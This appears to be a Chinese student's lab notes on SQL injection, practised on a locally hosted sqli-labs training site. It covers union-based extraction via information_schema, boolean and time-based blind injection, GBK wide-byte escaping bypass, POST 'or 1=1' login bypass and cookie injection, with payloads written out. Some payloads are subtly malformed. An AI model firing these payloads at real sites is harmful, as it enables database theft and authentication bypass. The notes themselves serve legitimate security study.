目录
前言
本课只用于信息防御,站点全为本地搭建
第三天学习
SQL注入原理
什么是sql注入?
所谓sql注入就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串中,最终达到欺骗服务器执行恶意的sql命令,具体来说,他是用现有的应用程序,将恶意的sql命令注入到后台数据库引擎执行的能力,用户sql语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者的意图去执行sql语句!!!
为什么会产生sql注入呢?
由于开发人员水平经验不足,一般开发认为功能实现了就行,没用对用户输入进行合法合理的判断,攻击者利用这个机会提交一段数据库语句,由于后端过滤不严格,导致攻击者提交的sql语句被执行,程序根据执行结果返回相对于的信息,从而造成数据库泄露!
sql注入的本质
说白了,sql注入就是将恶意的sql代码插入或添加到应用用户输入参入的攻击,攻击者尝试找到程序的漏洞,利用漏洞巧妙构造正确的sql语句,并成功让数据库运行,从而对数据库系统内容进行直接的读取或修改等。
环境:phpstudy + sqli
sql注入----报错注入
LESS-1
https://blog.csdn.net/lipei1220/article/details/78407596 原文链接
SELECT * FROM `users` where id = '1' order by 3 #
SELECT * FROM `users` where id = '1' limit 0,1
SELECT * FROM users
where id = ‘1’ 都知道是查询id=1的数据
order by 3 是我要对第三个字段进行排序 默认是asc 正序 desc是反序
limit 0,1 从你的表中的第0个数据开始,只读取一个;
sql语言里面的注释是#号或者–
所以我们再进行sql注入式 需要用注释符对构造后剩下的单引号进行注释,可以通过%23 也就是#号 也可以通过 --+ 加号就是空格的意思
重点:!!!!
information_schema 这个库保存这数据库的所有信息
数据库是用来保存信息的
information_schema是用来保存数据库的数据库的
里面有所有的库所有的表所有的字段
GroupBy语句从英文的字面意义上理解就是“根据(by)一定的规则进行分组(Group)” group_concat
是从一个回显点进行拼接显示多个字段 concat就是函数; 合并数组; 合并多个字符串。concat
()方法用于连接两个或多个数组。该方法不会改变现有的数组,而仅仅会返回被连接数组的一个副本。返回一个新的数组。
select * from users where id =’’ union select 1,group_concat(table_name),user() from information_schema.tables where table_schema =database()#
拆分开理解一下 因为我一直学一直忘这次加深下印象,
正常查询语句 show databases;
可以查询出当前数据库下所有的数据库名字 查询的原理是因为有information_schema表中的SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
select * from user where id =1 这个都还能理解是正常查询当前数据库下user表中的id=1的数据
因为我们先巧用了order by判断有几个字段(原理order by 5 就是对第五字段进行分组,如果没有就会报错)这是为union联合查询做铺垫,因为union的前提前后两个select的查询字段相同,然后 select 1,2,3是占位用的 看回显的地方,根据group_concat巧用查询 information_schema表中的信息 查询出来了 当前数据库下的所有表名
大家在安装或使用MYSQL时,会发现除了自己安装的数据库以外,还有一个information_schema数据库。 information_schema数据库是做什么用的呢,使用WordPress博客的朋友可能会想,是不是安装模板添加的数据库呀?看完本片文章 后,你就会对information_schema数据库有所了解。
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。在INFORMATION_SCHEMA中,有数个只读表。它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
information_schema数据库表说明:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表
报错注入就是通过提交非法参数,来和后台的查询语句进行拼接,达到让sql语句报错的目的,如果程序成功的输出了错误,证明存在报错注入
sql注入----数字型注入
数字型注入和报错注入区别不大
SELECT * FROM users WHERE id=$id LIMIT 0,1 数字型注入带入查询源代码
SELECT * FROM users WHERE id=‘$id’ LIMIT 0,1 字符型注入带入查询代码
查询语句的源码区别就在于传参时的id是规定传入字符型还是整形
两者区别在于数字型更加简单,不需要进行注释过滤掉多余的单引号,payload更加简单,但步骤相同
第一步判断注入点和注入类型
第二步 获取字段信息 通过使用 order by 对列数的排序
第三步 联合查询 获取想要的数据信息(判断回显点 巧用 group_concat 和information_schema数据库)
第四步 联合查询 获取表内字段名和表内信息
payload (给服务器发送的一段利于接收者获取有用的数据的代码)如下
?id=100 union select 1,group_concat(table_name),3 from information _schema.tables where table_schema=database() --+
获取开数据库名字之后获取用户数据方法相同
sql注入----盲注
环境 sqli LESS 8
就算sql语句执行成功了,没有报错,也得不到我们想要的信息
就是没有回显点的注入就成为盲注,需要用到的函数
length()返回字符串的长度
substr() 截取字符串
ascii() 返回字符串的ascii码
sleep()将程序进行延迟
if(exp1,exp2,exp3)如果第一个语句正确,就执行第二个代码,如果错误就执行第三个代码
得不到信息怎么办呢?
既然可以返回两种状态,我们就可以构造逻辑使用mysql的and逻辑与运算,根据返回的结果判断逻辑是否成功!!!
布尔盲注
True False 页面会根据我们的注入信息来显示不同的状态,一般状态分两种,一种是成功的状态,一种是失败的状态
先使用length 判断出数据库名的具体长度
id=1' and length(database())=8 --+
8没问题 9没显示 得到数据库名长度是8
' and (ascii(substr(database(),1,1))) =115 --+
(substr(database(),1,1))这是一个整体,substr是截取字符串 从哪里截取?当前数据库,从哪开始截取 第一个字母开始截取截取一个字符 就是数据库的第一个字母
然后进行爆破,可以利用burpsuit的重放攻击模块 进行修改变量然后
爆破出数据库名后,再用相同的方法爆破表名payload如下
1’ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=115 --+
第一个是字母ascii的值是101 以此类推得到有用的信息
其实还可以使用sqlmap 更快一些
时间盲注
LESS 9
布尔盲注是通过页面的返回状态,来判断我们执行sql语句是否成功,是否达到了注入的目的。
时间类型的盲注,是无论提交什么数据页面回显都是一个结果,无法通过页面状态,判断sql语句是否成功执行
最大区别页面回显的状态上
显示的都是you are in
那我们怎么利用他呢?
我们可以利用mysql的if函数进行逻辑的判断,
and搭配上if payload如下
?id=11' and if(ascii(substr(database(),1,1))=116,1,sleep(5)) --+
反应了很久证明ascii码不对 再通过判断范围确定ascii码 (手工的技巧 二分法)
?id=11’ and if(ascii(substr(database(),1,1))<100,1,sleep(5)) --+
类似这种 然后用burpsuit的重放模块进行猜数据库名
数据表payload e,101=》e
?id=1' and if(ascii(substr(select table_name from information_schema.table where table_schema=database() limit 0,1),1,1))=101,1,sleep(5)) --+
数据表字段第一列 也就是第一个字段的信息 i
?id=1' and if(ascii(substr(select column_name from information_schema.columns where table_name=’users‘ limit 0,1),1,1))=101,1,sleep(5)) --+
数据表取数据
?id=1'and if(ascii(substr((select id from users limit 0,1),1,1))=101,1,sleep(5)) --+
宽字节注入
LESS 32
什么是宽字节注入?想要利用宽字注入需要依赖哪些条件呢?
宽字节注入产生的原理是数据库使用了GBK编码,多字节编码,现在的网站多使用的是utf-8编码
GBK两个字节
utf-8 三个字节
正常查询语句:
select * from users where id=‘1’ limit 0,1
常规注入手段:
select * from users where id=‘1’ order by 3 – ‘limit 0,1
执行的语句:
select * from users where id=‘1\’ limit 0,1
我们的源代码中对用户输入的单引号进行了转义
所以我们可以利用GBK编码的格式
构造payload:
原始数据 代码层过滤 url编码 ’
1%df => 1%df’ => 1%df%5c%27
%df%5c =>新的字节 => 编码=> 城
比如说一个同学说 我叫李昂 li,ang => liang => 梁
?id=1%df' order by 5 --+
就可以正常注入了利用GBK编码绕过了转义的正则
宽字节利用的条件:
利用条件: 数据库必须使用了GBK编码
宽字节注入就是利用了GBK 2个字节为一个汉字的特性,而我们的web程序,刚好把我们输入的单引号进行了转义 汉字把单引号过滤掉 构造我们的payload 获取我们想要的内容。
post注入
LESS 11
之前的注入都在地址栏当中,也就是get请求
一条完整的数据
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
构造payload攻击代码:
原始语句
SELECT username, password FROM users WHERE username='admin' or 1=1 -- 'and password='admin' LIMIT 0,1
SELECT username, password FROM users WHERE username=‘www’ or 1=1
username='www’是不成立的 但是1=1是肯定成立的 or两边只要有一个成立就可以所以就可以成功登录
在数据库中查询有很多行 为什么网页中只有一行呢 因为php中的mysql_fetch_array()函数 从结果集中取得一行作为关联数组
post注入只不过是提交的方式不同
前面所学的任何注入手法都可以在这里利用,之前是直接可以在地址栏删删改改,现在需要在抓包工具中修改,仅此而已
cookie注入
LESS 20
我们是http请求 无状态无连接,每次都登录很繁琐,
服务器会set cookie 然后给浏览器储存,下一次访问时先看你有无cookie值
你的cookie中没有uname php就会给你输出登录的表单页面
setcookie函数的使用方法
服务端给cookie加上了时间
我们来看下正常登录的请求 服务端返回的http响应 302重定向 然后多了个setcookie unmae=deleted 后面还有时间
再次get请求重定向的内容 里面多了cookie的值
然后我们看页面以及登录成功了
看到这一步就知道 username来自于cookie变量 cookie变量又来自于参数
加入了‘
发生了报错 然后就可以通过正常的流程进行注入了